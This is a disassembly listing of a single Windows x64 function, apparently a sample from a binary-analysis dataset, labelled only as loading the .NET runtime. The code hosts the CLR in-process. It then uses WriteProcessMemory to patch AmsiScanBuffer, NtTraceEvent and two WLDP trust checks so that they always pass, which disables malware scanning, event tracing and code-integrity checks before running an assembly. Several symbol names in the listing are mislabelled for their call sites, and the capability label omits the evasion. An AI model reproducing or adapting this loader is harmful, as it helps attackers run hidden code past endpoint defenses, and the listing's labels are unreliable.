Function at 0x140878620
Capabilities:
Load windows common language runtime

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0xb8]
sub rsp, 0x190
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x14089d020]
xor rax, rsp
mov qword [rbp + 0x60], rax
mov rsi, rdx
mov r15, rcx
xor r12d, r12d
test rcx, rcx
je 0x140878ee6
test rdx, rdx
je 0x140878ee6
mov dword [rbp - 0x20], r12d
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x50], r12
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x58], r12
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x58], r12
lea r8, [rsp + 0x70]
lea rdx, [0x140898ea0]
lea rcx, [0x140898eb0]
call qword [sym.imp.mscoree.dll_CLRCreateInstance]
lea edi, [r12 + 1]
test eax, eax
js 0x140878ea3
mov rcx, qword [rsp + 0x70]
mov rax, qword [rcx]
lea rdx, [rsp + 0x60]
call qword [rax + 0x28]
test eax, eax
js 0x140878ea3
mov rcx, qword [rsp + 0x60]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [rsp + 0x58]
mov edx, edi
call qword [rax + SafeArrayCopy]
test eax, eax
jne 0x14087876d
nop word [rax + rax]
mov rcx, qword [rsp + 0x58]
mov rax, qword [rcx]
lea r8, [rsp + 0x68]
lea rdx, [0x140898ec0]
call qword [rax]
test eax, eax
jne 0x14087873e
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14087873e
mov rax, qword [rcx]
lea rdx, [rbp - 0x20]
call qword [rax + 0x50]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14087874e
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
cmp dword [rbp - 0x20], 0
jne 0x14087876d
mov rcx, qword [rsp + 0x60]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [rsp + 0x58]
mov edx, edi
call qword [rax + SafeArrayCopy]
test eax, eax
je 0x140878710
mov rcx, qword [rsp + 0x68]
mov rax, qword [rcx]
lea r9, [rsp + 0x50]
lea r8, [0x140898e70]
lea rdx, [0x140898e90]
call qword [rax + 0x48]
test eax, eax
js 0x140878ea3
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + 0x50]
test eax, eax
js 0x140878e95
mov r8, qword [rsp + 0x50]
mov rax, qword [r8]
mov rbx, qword [rax + 0x68]
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x1408787c6
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov r8, qword [rsp + 0x50]
mov qword [rbp - 0x40], r12
lea rdx, [rbp - 0x40]
mov rcx, r8
call rbx
test eax, eax
js 0x140878e8a
mov rbx, qword [rbp - 0x40]
test rbx, rbx
je 0x140878f1d
mov rax, qword [rbx]
mov r14, qword [rax]
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x1408787fd
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rbp - 0x48], r12
lea r8, [rbp - 0x48]
lea rdx, [0x140898e80]
mov rcx, rbx
call r14
test eax, eax
js 0x140878e77
mov dword [rbp + 0x14], r12d
mov dword [rbp + 0x10], esi
mov ecx, 0x11
lea r8, [rbp + 0x10]
mov edx, edi
call qword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov r14, rax
test rax, rax
je 0x140878e64
mov r8, rsi
mov rdx, r15
mov rcx, qword [rax + 0x10]
call fcn.14087bcc0
lea rcx, str.amsi.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x1408788be
lea rdx, str.AmsiScanBuffer
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x1408788be
mov qword [rbp - 0x60], r12
mov dword [rbp - 0x68], 0x70057b8
mov word [rbp - 0x64], 0xc380
lea rax, [rbp - 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 6
lea r8, [rbp - 0x68]
mov rdx, rbx
lea rcx, [r9 - 7]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r8d, 0x400
mov rdx, rbx
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea rcx, [0x140898d90]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140878926
lea rdx, str.NtTraceEvent
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [rbp - 0x68], r12
test rax, rax
je 0x140878926
mov byte [rbp - 0x70], 0xc3
lea rax, [rbp - 0x68]
mov qword [rsp + 0x20], rax
mov r9, rdi
lea r8, [rbp - 0x70]
mov rdx, rbx
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r8d, 0x400
mov rdx, rbx
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea rcx, str.wldp.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x140878a05
lea rdx, str.WldpIsClassInApprovedList
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
lea rdx, str.WldpQueryDynamicCodeTrust
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [rbp - 0x68], r12
test rsi, rsi
je 0x140878a05
test rax, rax
je 0x140878a05
mov dword [rbp + 0x50], 0x100c741
mov dword [rbp + 0x54], 0x31000000
mov word [rbp + 0x58], 0xc3c0
mov word [rbp - 0x60], 0xc031
mov byte [rbp - 0x5e], 0xc3
lea rax, [rbp - 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 0xa
lea r8, [rbp + 0x50]
mov rdx, rsi
lea rcx, [r9 - 0xb]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rax, [rbp - 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 3
lea r8, [rbp - 0x60]
mov rdx, rbx
lea rcx, [r9 - 4]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r8d, 0x400
mov rdx, rsi
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov r8d, 0x400
mov rdx, rbx
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rbx, qword [rbp - 0x48]
test rbx, rbx
je 0x140878f1d
mov rax, qword [rbx]
mov rsi, qword [rax + 0x168]
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x140878a2b
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rbp - 0x50], r12
lea r8, [rbp - 0x50]
mov rdx, r14
mov rcx, rbx
call rsi
test eax, eax
js 0x140878e5b
mov rbx, qword [rbp - 0x50]
test rbx, rbx
je 0x140878f1d
mov rax, qword [rbx]
mov rsi, qword [rax + 0x80]
mov rcx, qword [rbp - 0x58]
test rcx, rcx
je 0x140878a69
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rbp - 0x58], r12
lea rdx, [rbp - 0x58]
mov rcx, rbx
call rsi
test eax, eax
js 0x140878e48
mov word [rsp + 0x38], di
mov qword [rsp + 0x40], r12
mov eax, 0x2008
mov word [rsp + 0x78], ax
mov ecx, 8
call fcn.14087a098
mov rbx, rax
mov qword [rbp + 0x50], rax
call fcn.140880b20
mov ecx, dword [rax]
mov dword [rbx], ecx
mov dword [rbx + 4], r12d
mov ecx, 8
mov r8, rbx
mov edx, edi
call qword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], rax
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
mov qword [rbp - 0x28], r12
mov dword [rsp + 0x30], edi
call fcn.140880b20
lea rcx, [rsp + 0x30]
cmp dword [rax], 1
cmovge rcx, rax
movsxd rdx, dword [rcx]
mov rax, qword [rbp - 0x28]
sub rax, qword [rbp - 0x38]
sar rax, 3
cmp rdx, rax
jbe 0x140878b22
movabs rax, 0x1fffffffffffffff
cmp rdx, rax
ja 0x140878f28
lea rcx, [rbp - 0x38]
call fcn.1408791f0
mov dword [rbp - 0x60], r12d
call fcn.140880b20
mov eax, dword [rax]
cmp dword [rbp - 0x60], eax
jge 0x140878c87
call fcn.140880b28
mov rcx, qword [rax]
movsxd rax, dword [rbp - 0x60]
mov rdx, qword [rcx + rax*8]
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], r12
mov qword [rbp + 8], r12
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140878b60
lea rcx, [rbp - 0x10]
call fcn.140875090
nop
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x18]
call fcn.140878f50
nop
lea rcx, [rbp + 0x18]
cmp qword [rbp + 0x30], 8
cmovae rcx, qword [rbp + 0x18]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rbx, rax
mov qword [rbp + 0x50], rax
mov rcx, rax
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov r8, rax
lea rdx, [rbp - 0x60]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
mov rdx, qword [rbp - 0x30]
cmp rdx, qword [rbp - 0x28]
je 0x140878bcb
mov qword [rdx], rbx
add qword [rbp - 0x30], 8
jmp 0x140878bd9
lea r8, [rbp + 0x50]
lea rcx, [rbp - 0x38]
call fcn.1408770c0
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 8
jb 0x140878c19
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140878c14
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140878f2e
call fcn.14087a0dc
mov qword [rbp + 0x28], r12
mov qword [rbp + 0x30], 7
mov word [rbp + 0x18], r12w
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x140878c65
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140878c60
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140878f34
call fcn.14087a0dc
mov qword [rbp], r12
mov qword [rbp + 8], reloc.OLEAUT32.dll_SafeArrayDestroy
mov byte [rbp - 0x10], 0
inc dword [rbp - 0x60]
call fcn.140880b20
mov ecx, dword [rax]
cmp dword [rbp - 0x60], ecx
jmp 0x140878b30
mov ecx, 8
call fcn.14087a098
mov qword [rax], 1
mov ecx, SafeArrayDestroy
mov r8, rax
mov edx, edi
call qword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov rbx, rax
mov dword [rbp - 0x68], r12d
lea r8, [rsp + 0x78]
lea rdx, [rbp - 0x68]
mov rcx, rax
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
mov rcx, qword [rbp - 0x58]
test rcx, rcx
je 0x140878f40
mov rdx, qword [rcx]
mov r10, qword [rdx + 0x128]
movups xmm6, xmmword [rsp + 0x38]
movaps xmmword [rbp - 0x10], xmm6
movsd xmm7, qword [rsp + 0x48]
movsd qword [rbp], xmm7
lea r9, [rbp + 0x38]
mov r8, rbx
lea rdx, [rbp - 0x10]
call r10
test eax, eax
jns 0x140878dab
mov ecx, SafeArrayDestroy
xor r8d, r8d
xor edx, edx
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopyData]
mov rsi, rax
mov rcx, qword [rbp - 0x58]
test rcx, rcx
je 0x140878f40
mov rdx, qword [rcx]
mov r10, qword [rdx + 0x128]
movaps xmmword [rbp - 0x10], xmm6
movsd qword [rbp], xmm7
lea r9, [rbp + 0x38]
mov r8, rax
lea rdx, [rbp - 0x10]
call r10
test eax, eax
jns 0x140878da2
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x140878ea3
mov rax, qword [rbp - 0x28]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140878d8c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140878f3a
call fcn.14087a0dc
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r12
jmp 0x140878ea3
mov rcx, rsi
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetDim]
mov rdi, qword [rbp - 0x30]
mov rbx, qword [rbp - 0x38]
cmp rbx, rdi
je 0x140878de2
nop dword [rax + rax]
mov rcx, qword [rbx]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
add rbx, 8
cmp rbx, rdi
jne 0x140878dd0
mov rcx, qword [rbp - 0x58]
test rcx, rcx
je 0x140878f40
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x140878e48
mov rax, qword [rbp - 0x28]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140878e37
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140878f3a
call fcn.14087a0dc
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r12
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x140878f1d
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x140878f1d
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x140878f1d
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + 0x58]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov edi, r12d
mov rcx, qword [rbp - 0x58]
test rcx, rcx
je 0x140878eb3
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x140878ec3
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x140878ed3
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x140878ee2
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov eax, edi
jmp 0x140878eeb
mov eax, 1
mov rcx, qword [rbp + 0x60]
xor rcx, rsp
call fcn.140879db0
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
mov ecx, 0x80004003
call fcn.14087acc0
nop
call fcn.140877280
nop
call fcn.140880a80
nop
call fcn.140880a80
nop
call fcn.140880a80
nop
mov ecx, 0x80004003
call fcn.14087acc0
int3